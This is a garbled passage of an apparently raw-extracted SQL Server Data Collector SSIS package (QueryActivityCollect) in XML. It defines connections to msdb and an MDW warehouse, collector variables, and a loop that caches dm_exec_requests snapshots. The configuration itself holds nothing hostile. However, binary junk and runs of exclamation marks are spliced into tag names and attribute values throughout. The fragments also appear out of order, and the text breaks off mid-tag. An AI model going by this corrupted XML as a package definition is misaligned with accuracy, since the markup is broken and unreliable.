name="transaction_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[open_transaction_count]" dataType="i4" name="open_transaction_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[transaction_isolation_level]" dataType="i2" name="transaction_isolation_level"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_cpu_time]" dataType="i4" name="request_cpu_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_logical_reads]" dataType="i8" name="request_logical_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_reads]" dataType="i8" name="request_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_writes]" dataType="i8" name="request_writes"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_total_elapsed	!!!!!!!!!!!!!!!!!!!!!!!!`%8̬Hv_time]" dataType="i4" name="request_total_elapsed_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_start_time]" dataType="dbTimeStamp" name="request_start_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[memory_usage]" dataType="i4" name="memory_usage"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_cpu_time]" dataType="i4" name="session_cpu_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_reads]" dataType="i8" name="session_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_writes]" dataType="i8" name="session_writes"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_logical_reads]" dataType="i8" name="session_logical_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_total_scheduled_time]" dataType="i4" name="session_total_scheduled_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_total_elapsed_time]" dataType="i4" name="session_total_elapsed_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_last_request_start_time]" dataType="dbTimeStamp" name="session_last_request_start_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_last_request_end_time]" dataType="dbTimeStamp" name="session_last_request_end_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[open_resultsets]" dataType="i4" name="open_resultsets"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_row_count]" dataType="i8" name="session_row_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[prev_error]	!!!!!!!!!!!!!!!!!!!!!!!!`&89Hv" dataType="i4" name="prev_error"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[pending_io_count]" dataType="i4" name="pending_io_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[command]" dataType="wstr" length="32" name="command"/></externalMetadataColumns></input></inputs></component></components><paths><path refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data.Paths[OLE DB Source Error Output]" endId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Error row count.Inputs[Row Count Input 1]" name="OLE DB Source Error Output" startId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output]"/><path refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data.Paths[OLE DB Source Output]" endId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output]"/><path refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data.Paths[Row Count Output 1]" endId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input]" name="Row Count Output 1" startId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable></DTS:Executables></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency\SQL - Log Package Iteration" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{F9DBCB6D-CA5E-49E5-8C4D-5AD6A9EEBBBF}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Iteration" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{3B56FA3C-B4D3-457B-AC7A-0D16AB3B5C68}" SQLTask:SqlStatementSource="{ call [dbo].[sp_syscollector_event_onpackageupdate]( ? )}"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:Obj	!!!!!!!!!!!!!!!!!!!!!!!!`p'8%:H ectData></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency\SQL - Log Package Stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{85357745-D02F-4BB7-ABBC-28E41047CD03}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{3B56FA3C-B4D3-457B-AC7A-0D16AB3B5C68}" SQLTask:SqlStatementSource="{ call [dbo].[sp_syscollector_event_onstatsupdate] (?, N'active_sessions_and_request collection', ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::DMVInOutRowCount" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::DMVInOutRowCount" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::DMVErrorRowCount" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{0A82779D-65F0-460C-9C72-D270AADB77FD}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel]&gt;=1" DTS:From="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\LOOP - Query the query statitics DMV at collection frequency\SQL - Log Package Stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{1C376D39-3871-4711-8851-75863FF0845A}" DTS:From="Package\LOOP - Query the query statitics DMV at collection frequency\SQL - Log Package Stats" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\LOOP - Query the query statitics DMV at collection frequency\SQL - Log Package Iteration" DTS:Value="2"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{FAB5ABC8-B3C8-4260-80D3-A7BF47E886B1}" DTS:ObjectName="{FAB5ABC8-B3C8-4260-80D3-A7BF47E886B1}" DTS:ValueIndex="0" DTS:VariableName="User::LoopDuration"/></DTS:ForEachVariableMappings></DTS:Executable></DTS:Executables><DTS:PackageVariables/></DTS:Executable>	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(6/UKHv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="7/10/2007 4:26:36 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DelayValidation="True" DTS:DTSID="{0B68FC9D-23DC-48F3-A937-90A0A8943D0E}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:ObjectName="QueryActivityCollect" DTS:PackageType="5" DTS:VersionBuild="110" DTS:VersionGUID="{72BE5D7F-C791-4E79-9396-6DAEBF6EBD59}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{3B56FA3C-B4D3-457B-AC7A-0D16AB3B5C68}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[MdwConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to upload collected data to a warehouse." DTS:DTSID="{0F31739E-7104-42DD-A7A9-8BCC6A94F5E1}" DTS:ObjectName="MdwConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::MDWConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Initial Catalog=MDW;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[TargetConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information from the monitored (target) instance." DTS:DTSID="{10677B95-D149-4F8E-999E-D251D5EE8B43}" DTS:ObjectName="TargetConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::TargetConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{633E4635-F81C-4E65-9404-A654C3E9B6A5}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8629F0AC-3CED-4F7A-8ECE-379320CED059}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5D0DF460-0DBB-47A0-AC30-B50214D5ADD8}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{F558E466-1014-4503-B3C4-F2D117AEA7C2}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{4A27EC58-5FFC-442B-89CF-178E52BD3AB5}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:D	!!!!!!!!!!!!!!!!!!!!!!!!`)6/c[HvTSID="{B7A483F7-7093-43FF-9899-0BE9B6DB9910}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{87D3CF50-E186-4364-9BBA-02F6C3CCEC71}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EC7EA7E7-49B1-4F71-88EF-518390C29D37}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{61F2CCDC-9610-4B14-AD74-E1D649991C55}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{C61BC861-FA1D-40EA-A080-D968F4E81B53}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9F98F2F5-C9B3-4B12-BF0D-B5C6630BB559}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{2BDA5822-41CC-4648-AE06-50C23B981FB7}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{938427CA-5938-4AB4-8BD4-6D03F4AA1668}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{7FB5AD01-BF4C-48AB-8B19-C304FC6D5856}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EDCDC174-6C33-417B-AC00-2B1D3A9B5E47}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{4BE949CA-F6ED-41ED-8FF1-D601FC10EF59}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="User::DaysUntilExpiration" DTS:ConfigurationVariable="\Package.Variables[User::DaysUntilExpiration].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9C3E3ACE-BCA2-4A90-8C43-611B24BA1386}" DTS:ObjectName="DaysUntilExpiration"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{0D31F31B-2902-4213-A8A8-7D1431B4E12A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8">c:\perflogs</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{98734813-0BE8-4259-84A3-FBE9005C0060}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot; + @[System::MachineName] + &quot;_&quot; +  @[User::InstanceID] + &quot;_{&quot; +  @[User::CollectionSetUID] + &quot;}_&quot; +  (DT_WSTR, 10) @[User::ItemID] + &quot;_QueryActivity&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheFilePrefixPattern"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{127813E5-2306-4B0E-AC18-1CEF5BCFB4F2}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationNa	!!!!!!!!!!!!!!!!!!!!!!!!`*6/j}Hvme="" DTS:DTSID="{5ECFD22C-CC03-4069-8ADC-7B957D774B37}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8">2DC02BD6-E230-4C05-8516-4E8C0EF21F95</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2407AD35-3588-4CE0-90EC-B31D046968A8}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">1d24f966-c63c-497c-a6bc-df2369b8ebdf</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{EDC36B97-6DC3-4112-B66F-020B4CAC543A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{88409D9D-29AA-4F8A-AD77-828F31B0951F}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DaysUntilExpiration"><DTS:VariableValue DTS:DataType="2">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F50DEC43-918A-4F5B-ABB2-C5B7B12CF610}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{778EF6CD-514D-4284-881D-6C88D7BE9273}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0EDD4F59-D95A-4A01-AA55-41F3614C6DAD}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D0846FDA-CF2A-4A79-A897-A68487205C76}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">MSSQLSERVER</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1481104D-8C33-4ADE-8DA0-BD1B99652190}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">100</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{65917F90-BC1B-4AC8-94F7-CCAFCEE39E18}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{988F7667-2EA3-4C87-952E-8DB6C04607C0}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7907766C-40A0-4152-9FF6-24103A3CB310}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{56261049-39E9-40C1-8E84-7F3F4323B03B}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{65ECC61B-DF11-4F7B-B82C-FBE968A64EDF}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=MDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8998BC35-7C0F-4234-B82E-0183E6092955}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E8FA8FF0-7CA5-4F9B-80EC-164E43992C14}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:Objec	!!!!!!!!!!!!!!!!!!!!!!!!`+6cHvtName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency" DTS:CreationName="STOCK:FOREACHLOOP" DTS:Description="Foreach Loop Container" DTS:DTSID="{6001FD2A-A659-4BE6-82A0-98841B568942}" 